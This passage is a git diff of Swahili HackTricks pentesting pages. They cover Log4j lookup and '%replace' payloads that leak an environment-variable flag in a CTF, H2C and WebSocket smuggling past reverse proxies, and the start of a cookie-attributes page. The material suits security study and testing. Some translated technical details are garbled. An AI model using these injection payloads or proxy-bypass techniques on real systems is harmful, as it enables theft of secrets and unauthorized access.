za kupata mazingira ya pembejeo, kama vile: **`${env:FLAG}`**. Katika CTF hii hii haikuwa na maana lakini inaweza kuwa na maana katika mazingira mengine halisi. +Katika [CTF hii](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), muhusika alidhibiti thamani ya `${sys:cmd}` na alihitaji kuchota bendera kutoka kwa mazingira ya kipekee.\ +Kama ilivyoonekana kwenye ukurasa huu katika [**mizigo iliyopita**](jndi-java-naming-and-directory-interface-and-log4shell.md#uthibitisho) kuna njia tofauti za kupata mazingira ya kipekee, kama vile: **`${env:FLAG}`**. Katika CTF hii hii haikuwa na maana lakini inaweza kuwa na maana katika mazingira mengine halisi. -### Kuchota katika Makosa +### Kuchota katika Mifano -Katika CTF, haukuweza **kupata stderr** ya programu ya java kutumia log4J, lakini makosa ya Log4J **hutumwa kwa stdout**, ambayo ilichapishwa kwenye programu ya python. Hii ilimaanisha kwamba kwa kusababisha kosa tungeweza kupata maudhui. Kosa la kuchota bendera lilikuwa: **`${java:${env:FLAG}}`.** Hii inafanya kazi kwa sababu **`${java:CTF{blahblah}}`** haipo na kosa lenye thamani ya bendera litakuwa limeonyeshwa: +Katika CTF, **haukuweza kupata stderr** ya programu ya java kutumia log4J, lakini **makosa ya Log4J huletwa kwa stdout**, ambayo ilichapishwa kwenye programu ya python. Hii ilimaanisha kwamba kwa kusababisha kosa tungeweza kupata maudhui. Kosa la kuchota bendera lilikuwa: **`${java:${env:FLAG}}`.** Hii inafanya kazi kwa sababu **`${java:CTF{blahblah}}`** haipo na kosa lenye thamani ya bendera litakuwa limeonyeshwa: ![](<../../.gitbook/assets/image (157).png>) -### Mifumo ya Kubadilisha Makosa +### Mifano ya Kubadilisha Makosa -Tu kutaja, unaweza pia kuingiza [**mifumo mpya ya ubadilishaji**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) na kusababisha makosa ambayo yatakuwa yameandikwa kwenye `stdout`. Kwa mfano: +Kwa kumbukumbu tu, unaweza pia kuingiza [**mifano mpya ya ubadilishaji**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) na kusababisha makosa ambayo yataorodheshwa kwa `stdout`. Kwa mfano: ![](<../../.gitbook/assets/image (3) (2) (1) (1).png>) -Hii haikuonekana kuwa na manufaa kuchota tarehe ndani ya ujumbe wa kosa, kwa sababu utafutaji haukuwa umetatuliwa kabla ya mfumo wa ubadilishaji, lakini inaweza kuwa na manufaa kwa mambo mengine kama kugundua. +Hii haikuonekana kuwa na manufaa kwa kuchota tarehe ndani ya ujumbe wa kosa, kwa sababu utafutaji haukupatiwa kabla ya mfano wa ubadilishaji, lakini inaweza kuwa na manufaa kwa mambo mengine kama kugundua. -### Mifumo ya Kubadilisha Mifumo ya Utafutaji +### Mifano ya Kubadilisha Regexes -Hata hivyo, ni rahisi kutumia baadhi ya **mifumo ya ubadilishaji inayounga mkono regexes** kuchota habari kutoka kwa utafutaji kwa kutumia regexes na kutumia tabia za **utafutaji wa binary** au **wakati**. +Hata hivyo, ni rahisi kutumia baadhi ya **mifano ya ubadilishaji inayounga mkono regexes** kuchota habari kutoka kwa utafutaji kwa kutumia regexes na kutumia tabia za **utafutaji wa binary** au **kulingana na wakati**. * **Utafutaji wa binary kupitia ujumbe wa makosa** -Mfumo wa ubadilishaji **`%replace`** unaweza kutumika kubadilisha **maudhui** kutoka kwa **herufi** hata kwa kutumia **regexes**. Inafanya kazi kama hivi: `replace{pattern}{regex}{substitution}`\ -Kwa kufanya tabia hii unaweza kufanya ubadilishaji **kusababisha kosa ikiwa regex ililingana** na kitu chochote ndani ya herufi (na hakuna kosa ikiwa haikupatikana) kama hivi: +Mfano wa ubadilishaji **`%replace`** unaweza kutumika kubadilisha **maudhui** kutoka kwa **herufi** hata kutumia **regexes**. Inafanya kazi kama hivi: `replace{pattern}{regex}{substitution}`\ +Kwa kufanya tabia hii unaweza kufanya ubadilishaji **usababishe kosa ikiwa regex ililingana** na kitu chochote ndani ya herufi (na hakuna kosa ikiwa haikupatikana) kama hivi: ```bash %replace{${env:FLAG}}{^CTF.*}{${error}} # The string searched is the env FLAG, the regex searched is ^CTF.* @@ -404,9 +411,9 @@ Kwa kufanya tabia hii unaweza kufanya ubadilishaji **kusababisha kosa ikiwa rege ``` * **Kulingana na Wakati** -Kama ilivyotajwa katika sehemu iliyopita, **`%replace`** inasaidia **regexes**. Kwa hivyo ni rahisi kutumia mzigo kutoka kwenye [**ukurasa wa ReDoS**](../regular-expression-denial-of-service-redos.md) kusababisha **timeout** ikiwa bendera itapatikana. Kwa mfano, mzigo kama `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` ungechochea **timeout** katika CTF hiyo. +Kama ilivyotajwa katika sehemu iliyopita, **`%replace`** inasaidia **regexes**. Kwa hivyo ni rahisi kutumia mzigo kutoka kwenye [**ukurasa wa ReDoS**](../regular-expression-denial-of-service-redos.md) kusababisha **muda wa kusubiri** ikiwa bendera itapatikana. Kwa mfano, mzigo kama `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` ungechochea **muda wa kusubiri** katika CTF hiyo. -Katika [**makala hii**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), badala ya kutumia shambulio la ReDoS, ilifanya shambulio la **kuongeza** ili kusababisha tofauti ya wakati katika majibu: +Katika [**makala hii**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), badala ya kutumia shambulio la ReDoS, ilifanya shambulio la **kuongeza** ili kusababisha tofauti ya muda katika majibu: > ``` > /%replace{ @@ -425,9 +432,9 @@ Katika [**makala hii**](https://intrigus.org/research/2022/07/18/google-ctf-2022 > }{#}{######################################################} > ``` > -> Ikiwa bendera inaanza na `flagGuess`, bendera nzima itabadilishwa na `#` 29 (Nilitumia herufi hii kwa sababu inaweza kuwa sio sehemu ya bendera). **Kila moja ya `#` 29 zinazopatikana kisha zinabadilishwa na `#` 54**. Mchakato huu unarudiwa **mara 6**, ikiongoza kwa jumla ya ` 29*54*54^6* =`` `` `**`96816014208`** **`#`!** +> Ikiwa bendera inaanza na `flagGuess`, bendera nzima itabadilishwa na `#` 29 (Nilitumia herufi hii kwa sababu labda haitakuwa sehemu ya bendera). **Kila moja ya `#` 29 zinazopatikana kisha zinabadilishwa na `#` 54**. Mchakato huu unarudiwa **mara 6**, ikiongoza kwa jumla ya ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!** > -> Kubadilisha `#` nyingi kutasababisha timeout ya sekunde 10 ya programu ya Flask, ambayo kwa upande wake itasababisha nambari ya hali ya HTTP 500 kutumwa kwa mtumiaji. (Ikiwa bendera haianzi na `flagGuess`, tutapokea nambari ya hali isiyo ya 500) +> Kubadilisha `#` nyingi kutasababisha muda wa sekunde 10 wa programu ya Flask, ambayo kwa upande wake itasababisha nambari ya hali ya HTTP 500 kutumwa kwa mtumiaji. (Ikiwa bendera haianzi na `flagGuess`, tutapokea nambari ya hali isiyo ya 500) ## Marejeo @@ -440,16 +447,22 @@ Katika [**makala hii**](https://intrigus.org/research/2022/07/18/google-ctf-2022 * [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) * [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) +**Kikundi cha Usalama cha Kujitahidi Kufanikiwa** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} +
-Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! +Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi kuwa shujaa na htARTE (HackTricks AWS Red Team Expert)! Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)! +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/pentesting-web/h2c-smuggling.md b/pentesting-web/h2c-smuggling.md index 717f6f44a..321407d35 100644 --- a/pentesting-web/h2c-smuggling.md +++ b/pentesting-web/h2c-smuggling.md @@ -1,4 +1,4 @@ -# Kuboresha Udukuzi wa Kichwa +# Kuboresha Kichwa cha Udukuzi
@@ -8,35 +8,43 @@ Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
-### Udukuzi wa H2C +**Kikundi cha Usalama cha Try Hard** -#### HTTP2 Juu ya Nakala Wazi (H2C) +
-H2C, au **http2 juu ya nakala wazi**, inatofautiana na kawaida ya mawasiliano ya HTTP ya muda mfupi kwa kuboresha **mawasiliano ya HTTP ya kawaida kuwa moja endelevu**. Uhusiano ulioboreshwa hutumia itifaki ya binary ya http2 kwa mawasiliano yanayoendelea, tofauti na asili ya ombi moja la HTTP ya nakala wazi. +{% embed url="https://discord.gg/tryhardsecurity" %} -Muhimu wa suala la udukuzi linatokea wakati wa matumizi ya **proxy ya kurudisha**. Kawaida, proxy ya kurudisha huprocess na kutuma maombi ya HTTP kwa seva ya nyuma, kurudisha jibu la seva ya nyuma baada ya hapo. Walakini, wakati kichwa cha `Connection: Upgrade` kipo katika ombi la HTTP (mara nyingi huonekana na mawasiliano ya websocket), **proxy ya kurudisha inaendeleza uhusiano endelevu** kati ya mteja na seva, kurahisisha kubadilishana kwa mara kwa mara inayohitajika na itifaki fulani. Kwa mawasiliano ya H2C, kufuata RFC kunahitaji uwepo wa vichwa vitatu maalum: +*** + +### H2C Smuggling + +#### HTTP2 Kupitia Nakala Wazi (H2C) + +H2C, au **http2 kupitia nakala wazi**, inatofautiana na kawaida ya mawasiliano ya HTTP ya muda mfupi kwa kuboresha **mawasiliano ya HTTP ya kawaida kuwa moja endelevu**. Mawasiliano yaliyoboreshwa hutumia itifaki ya binary ya http2 kwa mawasiliano yanayoendelea, tofauti na asili ya ombi moja la HTTP ya nakala wazi. + +Mizizi ya tatizo la udukuzi inatokea na matumizi ya **proxy ya kurudisha**. Kawaida, proxy ya kurudisha huprocess na kutuma maombi ya HTTP kwa seva ya nyuma, kurudisha jibu la seva ya nyuma baada ya hapo. Walakini, wakati kichwa cha `Connection: Kuboresha` kipo katika ombi la HTTP (mara nyingi huonekana na mawasiliano ya websocket), **proxy ya kurudisha inaendeleza mawasiliano endelevu** kati ya mteja na seva, kurahisisha kubadilishana kwa mara kwa mara inayohitajika na itifaki fulani. Kwa mawasiliano ya H2C, kufuata RFC kunahitaji uwepo wa vichwa vitatu maalum: ``` Upgrade: h2c HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA Connection: Upgrade, HTTP2-Settings ``` -Mkazo unatokea wakati, baada ya kuboresha uhusiano, reverse proxy inakoma kusimamia maombi binafsi, ikidhani kazi yake ya kuongoza imekamilika baada ya kuanzisha uhusiano. Kuchexploit H2C Smuggling kuruhusu kuzunguka sheria za reverse proxy zilizotumika wakati wa usindikaji wa maombi, kama vile kuongoza kulingana na njia, uthibitishaji, na usindikaji wa WAF, ikidhani uhusiano wa H2C unafanikiwa kuanzishwa. +Mkazo unatokea wakati, baada ya kuboresha uhusiano, reverse proxy inakoma kusimamia maombi binafsi, ikidhani kazi yake ya kuongoza imekamilika baada ya kuanzisha uhusiano. Kuchexploit H2C Smuggling inaruhusu kuzunguka sheria za reverse proxy zilizotumika wakati wa usindikaji wa maombi, kama vile kuongoza kulingana na njia, uthibitishaji, na usindikaji wa WAF, ikidhani uhusiano wa H2C unafanikiwa kuanzishwa. #### Proxies Zenye Udhaifu -Udhaifu unategemea jinsi reverse proxy inavyoshughulikia vichwa vya `Upgrade` na mara nyingine vichwa vya `Connection`. Proxies zifuatazo kwa asili huziendeleza vichwa hivi wakati wa kuendesha proxy-pass, hivyo kwa asili kuruhusu H2C smuggling: +Mkazo unategemea jinsi reverse proxy inavyoshughulikia vichwa vya `Upgrade` na mara nyingine `Connection`. Proxies zifuatazo kwa asili hufikisha vichwa hivi wakati wa kuendesha proxy-pass, hivyo kwa asili kuwezesha H2C smuggling: * HAProxy * Traefik * Nuster -Kinyume chake, huduma hizi kwa asili hazitumezi vichwa vyote wakati wa kuendesha proxy-pass. Hata hivyo, zinaweza kuwekwa kwa njia isiyokuwa salama, kuruhusu kutuma vichwa vya `Upgrade` na `Connection` bila kufanyiwa uchujaji: +Kinyume chake, huduma hizi kwa asili hazifanyi mbele vichwa vyote wakati wa kuendesha proxy-pass. Hata hivyo, zinaweza kuwekwa kwa njia isiyo salama, kuruhusu mbele bila kufiltriwa vichwa vya `Upgrade` na `Connection`: * AWS ALB/CLB * NGINX @@ -49,29 +57,29 @@ Kinyume chake, huduma hizi kwa asili hazitumezi vichwa vyote wakati wa kuendesha #### Kuchexploit -Ni muhimu kutambua kwamba si seva zote kwa asili zinatuma vichwa vinavyohitajika kwa ajili ya kuboresha uhusiano wa H2C kwa njia inayofuata sheria. Kwa hivyo, seva kama vile AWS ALB/CLB, NGINX, na Apache Traffic Server, miongoni mwa nyingine, kwa asili zinazuia uhusiano wa H2C. Hata hivyo, ni vyema kujaribu na toleo lisilofuata viwango vya `Connection: Upgrade`, ambavyo havijumuishi thamani ya `HTTP2-Settings` kutoka kwa kichwa cha `Connection`, kwani baadhi ya seva za nyuma hazizingatii viwango. +Ni muhimu kutambua kwamba si seva zote kwa asili zinafikisha vichwa vinavyohitajika kwa ajili ya kuboresha uhusiano wa H2C kwa njia inayofuata sheria. Kwa hivyo, seva kama vile AWS ALB/CLB, NGINX, na Apache Traffic Server, miongoni mwa nyingine, kwa asili zinazuia uhusiano wa H2C. Hata hivyo, ni vyema kujaribu na toleo lisilofuata viwango vya `Connection: Upgrade`, ambavyo havijumuishi thamani ya `HTTP2-Settings` kutoka kwa kichwa cha `Connection`, kwani baadhi ya seva za nyuma hazizingatii viwango. {% hint style="danger" %} -Bila kujali **njia** maalum iliyoteuliwa katika URL ya `proxy_pass` (k.m., `http://backend:9999/socket.io`), uhusiano ulioanzishwa unakuwa kwa chaguo msingi `http://backend:9999`. Hii inaruhusu mwingiliano na njia yoyote ndani ya hatima hiyo, ikiboresha mbinu hii. Hivyo, kutaja njia katika URL ya `proxy_pass` haizuili upatikanaji. +Bila kujali **njia** maalum iliyoteuliwa katika URL ya `proxy_pass` (k.m., `http://backend:9999/socket.io`), uhusiano ulioanzishwa unarudi kwa chaguo la msingi la `http://backend:9999`. Hii inaruhusu mwingiliano na njia yoyote ndani ya hatima hiyo, ikilemaza mbinu hii. Hivyo, kutaja njia katika URL ya `proxy_pass` haizuili upatikanaji. {% endhint %} Zana [**h2csmuggler na BishopFox**](https://github.com/BishopFox/h2csmuggler) na [**h2csmuggler na assetnote**](https://github.com/assetnote/h2csmuggler) huwezesha majaribio ya **kuzunguka ulinzi uliowekwa na proxy** kwa kuanzisha uhusiano wa H2C, hivyo kuruhusu upatikanaji wa rasilimali zilizolindwa na proxy. -Kwa habari zaidi kuhusu udhaifu huu, hasa kuhusu NGINX, tazama [**rasilimali hii iliyodetauliwa**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection). +Kwa habari zaidi kuhusu mkazo huu, hasa kuhusu NGINX, tazama [**rasilimali hii iliyodetauliwa**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection). ## Websocket Smuggling -Websocket smuggling, tofauti na kuanzisha handaki ya HTTP2 kwa hatima inayopatikana kupitia proxy, inaanzisha handaki ya Websocket kwa kuzunguka vizuizi vya proxy na kurahisisha mawasiliano moja kwa moja na hatima. +Websocket smuggling, tofauti na kuanzisha handaki ya HTTP2 kwa hatima inayopatikana kupitia proxy, inaanzisha handaki la Websocket kuzunguka vizuizi vya proxy na kurahisisha mawasiliano moja kwa moja na hatima. ### Skena 1 Katika skena hii, hatima inayotoa API ya Websocket ya umma pamoja na API ya REST ya ndani isiyopatikana inalengwa na mteja mhalifu anayetafuta upatikanaji wa API ya REST ya ndani. Shambulio linajitokeza katika hatua kadhaa: -1. Mteja anaanza kwa kutuma ombi la Kuboresha kwa reverse proxy na toleo sahihi la itifaki ya `Sec-WebSocket-Version` kwenye kichwa. Proxy, ikishindwa kuthibitisha kichwa cha `Sec-WebSocket-Version`, inaamini ombi la Kuboresha ni sahihi na kulituma kwa hatima. -2. Hatima inajibu na nambari ya hali `426`, ikionyesha toleo lisilo sahihi la itifaki katika kichwa cha `Sec-WebSocket-Version`. Reverse proxy, ikipuuza hali ya jibu la hatima, inadhani kuwa tayari kwa mawasiliano ya WebSocket na inapeleka jibu kwa mteja. -3. Kufuatia hivyo, reverse proxy inadanganywa kuamini kuwa uhusiano wa WebSocket umewekwa kati ya mteja na hatima, wakati halisi, hatima ilikataa ombi la Kuboresha. Hata hivyo, proxy inadumisha uhusiano wa TCP au TLS kati ya mteja na hatima, kuruhusu mteja upatikanaji usiozuiliwa wa API ya REST ya faragha kupitia uhusiano huu. +1. Mteja anaanza kwa kutuma ombi la Kuboresha kwa reverse proxy na `Sec-WebSocket-Version` isiyo sahihi ya itifaki katika kichwa. Proxy, ikishindwa kuthibitisha kichwa cha `Sec-WebSocket-Version`, inaamini ombi la Kuboresha ni sahihi na kuliforward kwa hatima. +2. Hatima inajibu na nambari ya hali `426`, ikionyesha toleo lisilo sahihi la itifaki katika kichwa cha `Sec-WebSocket-Version`. Reverse proxy, ikipuuza hali ya jibu la hatima, inadhani kuwa tayari kwa mawasiliano ya Websocket na kusambaza jibu kwa mteja. +3. Kufuatia hivyo, reverse proxy inadanganywa kuamini kuwa uhusiano wa Websocket umewekwa kati ya mteja na hatima, wakati ukweli ni kwamba hatima ilikataa ombi la Kuboresha. Hata hivyo, proxy inadumisha uhusiano wa TCP au TLS wazi kati ya mteja na hatima, kuruhusu mteja upatikanaji usiozuiliwa wa API ya REST ya faragha kupitia uhusiano huu. -Proxies za reverse zilizoathiriwa ni pamoja na Varnish, ambayo ilikataa kushughulikia suala hilo, na proxy ya Envoy toleo 1.8.0 au la zamani, na toleo za baadaye zimebadilisha mbinu ya kuboresha. Proxies nyingine pia zinaweza kuwa hatarini. +Proxies za reverse zilizoathiriwa ni pamoja na Varnish, ambayo ilikataa kushughulikia suala hilo, na proxy ya Envoy toleo 1.8.0 au la zamani, na toleo za baadaye zimebadilisha mbinu ya kuboresha. Proxies nyingine pia zinaweza kuwa na udhaifu. ![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png) @@ -79,25 +87,46 @@ Proxies za reverse zilizoathiriwa ni pamoja na Varnish, ambayo ilikataa kushughu Skena hii inahusisha hatima yenye API ya Websocket ya umma na API ya REST ya umma kwa ukaguzi wa afya, pamoja na API ya REST ya ndani isiyopatikana. Shambulio, lenye utata zaidi, linajumuisha hatua zifuatazo: -1. Mteja anatuma ombi la POST kuanzisha API ya ukaguzi wa afya, likijumuisha kichwa cha HTTP cha ziada `Upgrade: websocket`. NGINX, ikifanya kazi kama reverse proxy, inachukulia hili kama ombi la Kuboresha la kawaida kulingana tu na kichwa cha `Upgrade`, ikipuuza vipengele vingine vya ombi, na kulituma kwa hatima. -2. Hatima inatekeleza API ya ukaguzi wa afya, ikifikia rasilimali ya nje inayodhibitiwa na mshambuliaji ambayo inarudisha jibu la HTTP lenye nambari ya hali `101`. Jibu hili, mara tu linapopokelewa na hatima na kutumwa kwa NGINX, linadanganya proxy kuamini kuwa uhusiano wa WebSocket umewekwa kutokana na uthibitisho wake wa nambari ya hali pekee. +1. Mteja anatuma ombi la POST kuanzisha API ya ukaguzi wa afya, likijumuisha kichwa cha HTTP cha ziada `Upgrade: websocket`. NGINX, ikifanya kazi kama reverse proxy, inachukulia hili kama ombi la Kuboresha la kawaida kulingana tu na kichwa cha `Upgrade`, ikipuuza vipengele vingine vya ombi, na kuliforward kwa hatima. +2. Hatima inatekeleza API ya ukaguzi wa afya, ikifikia rasilimali ya nje inayodhibitiwa na mshambuliaji ambayo inarudisha jibu la HTTP lenye nambari ya hali `101`. Jibu hili, mara tu linapopokelewa na hatima na kusambazwa kwa NGINX, linadanganya proxy kuamini kuwa uhusiano wa Websocket umewekwa kutokana na uthibitisho wake wa nambari ya hali pekee. ![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png) -> **Onyo:** Utata wa mbinu hii unaongezeka kwani inahitaji uwezo wa kuingiliana na hatima inayoweza kurudisha nambari ya hali 101. +> **Onyo:** Utata wa mbinu hii unazidi kwani inahitaji uwezo wa kuingiliana na hatima inayoweza kurudisha nambari ya hali 101. -Hatimaye, NGINX inadanganywa kuamini kuwa uhusiano wa WebSocket upo kati ya mteja na hatima. Kwa hakika, uhusiano kama huo haupo; API ya REST ya ukaguzi wa afya ilikuwa lengo. Hata hivyo, reverse proxy inadumisha uhusiano wazi, kuruhusu mteja kupata API ya REST ya faragha kupitia huo. +Hatimaye, NGINX inadanganywa kuamini kuwa uhusiano wa Websocket upo kati ya mteja na hatima. Kwa ukweli, uhusiano kama huo haupo; API ya REST ya ukaguzi wa afya ilikuwa lengo. Hata hivyo, reverse proxy inadumisha uhusiano wazi, kuruhusu mteja kupata API ya REST ya faragha kupitia huo. ![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png) -Proxies nyingi za reverse ziko hatarini kwa skena hii, lakini kuchexploit kunategemea uwepo wa udhaifu wa SSRF wa nje, kawaida ukitazamwa kama suala la kiwango cha chini. +Proxies nyingi za reverse ziko katika hatari katika skena hii, lakini kuchexploit kunategemea uwepo wa udhaifu wa SSRF wa nje, kawaida ukitazamwa kama suala la kiwango cha chini. #### Maabara -Angalia maabara ili kujaribu skena zote mbili kwenye [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git) +Angalia maabara ili kujaribu skena zote mbili katika [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git) ### Marejeo * [https://blog.assetnote.io/2021/03/18/h2c-smuggling/](https://blog.assetnote.io/2021/03/18/h2c-smuggling/) * [https://bishopfox.com/blog/h2c-smuggling-request](https://bishopfox.com/blog/h2c-smuggling-request) * [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git) + + +**Kikundi cha Usalama cha Try Hard** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +
+ +Jifunze kuhusu kuhack AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! + +Njia nyingine za kusaidia HackTricks: + +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee +* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
diff --git a/pentesting-web/hacking-with-cookies/README.md b/pentesting-web/hacking-with-cookies/README.md index ac84e0357..6879fe229 100644 --- a/pentesting-web/hacking-with-cookies/README.md +++ b/pentesting-web/hacking-with-cookies/README.md @@ -1,52 +1,60 @@ -# Kuki za Kudukua +# Kuvunja Vidakuzi
-Jifunze kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! +Jifunze kuvunja AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee +* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com) +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family) * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
-## Vigezo vya Kuki +**Kikundi cha Usalama cha Kujaribu Kwa Bidii** -Kuki huja na vigezo kadhaa vinavyodhibiti tabia yao kwenye kivinjari cha mtumiaji. Hapa kuna muhtasari wa vigezo hivi kwa sauti ya kupita: +
-### Inatamatika na Max-Age +{% embed url="https://discord.gg/tryhardsecurity" %} -Tarehe ya kumalizika ya kuki inadhibitiwa na sifa ya `Inatamatika`. Kinyume chake, sifa ya `Max-age` inadefini muda kwa sekunde mpaka kuki ifutwe. **Chagua `Max-age` kwani inaakisi mazoea ya kisasa zaidi.** +*** + +## Sifa za Kidakuzi + +Vidakuzi huja na sifa kadhaa ambazo hudhibiti tabia yao kwenye kivinjari cha mtumiaji. Hapa kuna muhtasari wa sifa hizi kwa sauti ya kupita: + +### Muda wa Kufunga na Max-Age + +Tarehe ya kufungwa kwa kuki inadhibitiwa na sifa ya `Expires`. Kinyume chake, sifa ya `Max-age` inadefini muda kwa sekunde mpaka kuki ifutwe. **Chagua `Max-age` kwani inaakisi mazoea ya kisasa zaidi.** ### Kikoa -Wenyeji wa kupokea kuki hufafanuliwa na sifa ya `Kikoa`. Kwa chaguo-msingi, hii imewekwa kwa mwenyeji aliyeitoa kuki, bila kujumuisha subdomains yake. Walakini, wakati sifa ya `Kikoa` inawekwa wazi, inajumuisha pia subdomains. Hii hufanya ufafanuzi wa sifa ya `Kikoa` kuwa chaguo lisilokuwa na kizuizi, lenye manufaa kwa hali ambapo kugawana kuki kati ya subdomains ni muhimu. Kwa mfano, kuweka `Kikoa=mozilla.org` inafanya kuki zipatikane kwenye subdomains kama `developer.mozilla.org`. +Wenyeji wa kupokea kuki hufafanuliwa na sifa ya `Domain`. Kwa chaguo-msingi, hii imewekwa kwa mwenyeji aliyeitoa kuki, bila kujumuisha subdomains zake. Walakini, wakati sifa ya `Domain` inawekwa wazi, inajumuisha pia subdomains. Hii hufanya ufafanuzi wa sifa ya `Domain` kuwa chaguo lisilokuwa na kizuizi, lenye manufaa kwa hali ambapo kugawana kuki kati ya subdomains ni muhimu. Kwa mfano, kuweka `Domain=mozilla.org` hufanya vidakuzi kupatikana kwenye subdomains kama 